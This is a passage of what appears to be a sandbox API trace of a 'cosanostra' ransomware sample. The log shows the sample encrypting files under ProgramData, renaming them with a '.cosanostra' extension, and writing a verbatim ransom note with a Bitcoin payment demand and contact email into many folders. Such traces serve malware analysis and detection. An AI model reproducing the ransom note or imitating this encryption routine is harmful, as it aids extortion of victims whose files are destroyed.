(lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.489] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb54, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb54*=0x2ac, lpOverlapped=0x0) returned 1 [0081.490] CloseHandle (hObject=0x134) returned 1 [0081.490] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfaf0 | out: pbBuffer=0x2abfaf0) returned 1 [0081.490] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abfae8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abfae8*=0x30) returned 1 [0081.490] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\." (normalized: "c:\\programdata\\microsoft\\wwansvc\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.491] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.491] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.491] WriteFile (in: hFile=0x154, lpBuffer=0x2abf98b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb4c, lpOverlapped=0x0 | out: lpBuffer=0x2abf98b*, lpNumberOfBytesWritten=0x2abfb4c*=0x1bf, lpOverlapped=0x0) returned 1 [0081.492] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.492] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb4c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb4c*=0x2ac, lpOverlapped=0x0) returned 1 [0081.492] CloseHandle (hObject=0x154) returned 1 [0081.492] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.493] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.493] WriteFile (in: hFile=0x154, lpBuffer=0x2abf987*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb48, lpOverlapped=0x0 | out: lpBuffer=0x2abf987*, lpNumberOfBytesWritten=0x2abfb48*=0x1bf, lpOverlapped=0x0) returned 1 [0081.493] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.493] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb48, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb48*=0x2ac, lpOverlapped=0x0) returned 1 [0081.494] CloseHandle (hObject=0x154) returned 1 [0081.494] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfae8 | out: pbBuffer=0x2abfae8) returned 1 [0081.494] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abfae0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abfae0*=0x30) returned 1 [0081.494] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.494] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.494] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.494] WriteFile (in: hFile=0x154, lpBuffer=0x2abf97f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb40, lpOverlapped=0x0 | out: lpBuffer=0x2abf97f*, lpNumberOfBytesWritten=0x2abfb40*=0x1bf, lpOverlapped=0x0) returned 1 [0081.495] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.495] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb40, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb40*=0x2ac, lpOverlapped=0x0) returned 1 [0081.495] CloseHandle (hObject=0x154) returned 1 [0081.495] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.496] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.496] WriteFile (in: hFile=0x154, lpBuffer=0x2abf97b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb3c, lpOverlapped=0x0 | out: lpBuffer=0x2abf97b*, lpNumberOfBytesWritten=0x2abfb3c*=0x1bf, lpOverlapped=0x0) returned 1 [0081.497] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.497] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb3c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb3c*=0x2ac, lpOverlapped=0x0) returned 1 [0081.497] CloseHandle (hObject=0x154) returned 1 [0081.498] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfad8 | out: pbBuffer=0x2abfad8) returned 1 [0081.498] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfad0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfad0*=0x30) returned 1 [0081.498] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\resource\\{1d1dbf3a-752f-47e2-be70-d848d4a9afb0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.498] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 115 [0081.498] StrStrW (lpFirst="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpSrch=".txt") returned 0x0 [0081.498] ReadFile (in: hFile=0x154, lpBuffer=0x22aa58, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfa94, lpOverlapped=0x0 | out: lpBuffer=0x22aa58*, lpNumberOfBytesRead=0x2abfa94*=0x1a60, lpOverlapped=0x0) returned 1 [0081.525] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffe5a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.525] WriteFile (in: hFile=0x154, lpBuffer=0x22aa58*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x2abfa94, lpOverlapped=0x0 | out: lpBuffer=0x22aa58*, lpNumberOfBytesWritten=0x2abfa94*=0x1a60, lpOverlapped=0x0) returned 1 [0081.525] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.525] WriteFile (in: hFile=0x154, lpBuffer=0x2abfad4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfa94, lpOverlapped=0x0 | out: lpBuffer=0x2abfad4*, lpNumberOfBytesWritten=0x2abfa94*=0x4, lpOverlapped=0x0) returned 1 [0081.525] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfa94, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abfa94*=0x30, lpOverlapped=0x0) returned 1 [0081.525] CloseHandle (hObject=0x154) returned 1 [0081.526] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}.cosanostra") returned 126 [0081.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\resource\\{1d1dbf3a-752f-47e2-be70-d848d4a9afb0}"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}.cosanostra" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\resource\\{1d1dbf3a-752f-47e2-be70-d848d4a9afb0}.cosanostra")) returned 1 [0081.528] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\updates\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.531] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.531] WriteFile (in: hFile=0x154, lpBuffer=0x2abf973*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb34, lpOverlapped=0x0 | out: lpBuffer=0x2abf973*, lpNumberOfBytesWritten=0x2abfb34*=0x1bf, lpOverlapped=0x0) returned 1 [0081.532] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.532] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb34, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb34*=0x2ac, lpOverlapped=0x0) returned 1 [0081.532] CloseHandle (hObject=0x154) returned 1 [0081.532] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\backup\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.532] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.532] WriteFile (in: hFile=0x154, lpBuffer=0x2abf96f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb30, lpOverlapped=0x0 | out: lpBuffer=0x2abf96f*, lpNumberOfBytesWritten=0x2abfb30*=0x1bf, lpOverlapped=0x0) returned 1 [0081.533] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.533] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb30, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb30*=0x2ac, lpOverlapped=0x0) returned 1 [0081.533] CloseHandle (hObject=0x154) returned 1 [0081.533] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfad0 | out: pbBuffer=0x2abfad0) returned 1 [0081.533] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfac8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfac8*=0x30) returned 1 [0081.533] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.533] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfac8 | out: pbBuffer=0x2abfac8) returned 1 [0081.533] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfac0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfac0*=0x30) returned 1 [0081.534] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.619] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfac8 | out: pbBuffer=0x2abfac8) returned 1 [0081.619] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfac0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfac0*=0x30) returned 1 [0081.619] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.619] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfac0 | out: pbBuffer=0x2abfac0) returned 1 [0081.619] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfab8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfab8*=0x30) returned 1 [0081.619] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.619] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfac0 | out: pbBuffer=0x2abfac0) returned 1 [0081.619] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfab8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfab8*=0x30) returned 1 [0081.619] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.620] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfab8 | out: pbBuffer=0x2abfab8) returned 1 [0081.620] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfab0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfab0*=0x30) returned 1 [0081.620] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile37.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.623] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfab8 | out: pbBuffer=0x2abfab8) returned 1 [0081.623] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfab0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfab0*=0x30) returned 1 [0081.623] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), dwDesiredAccess=0xc0000000, 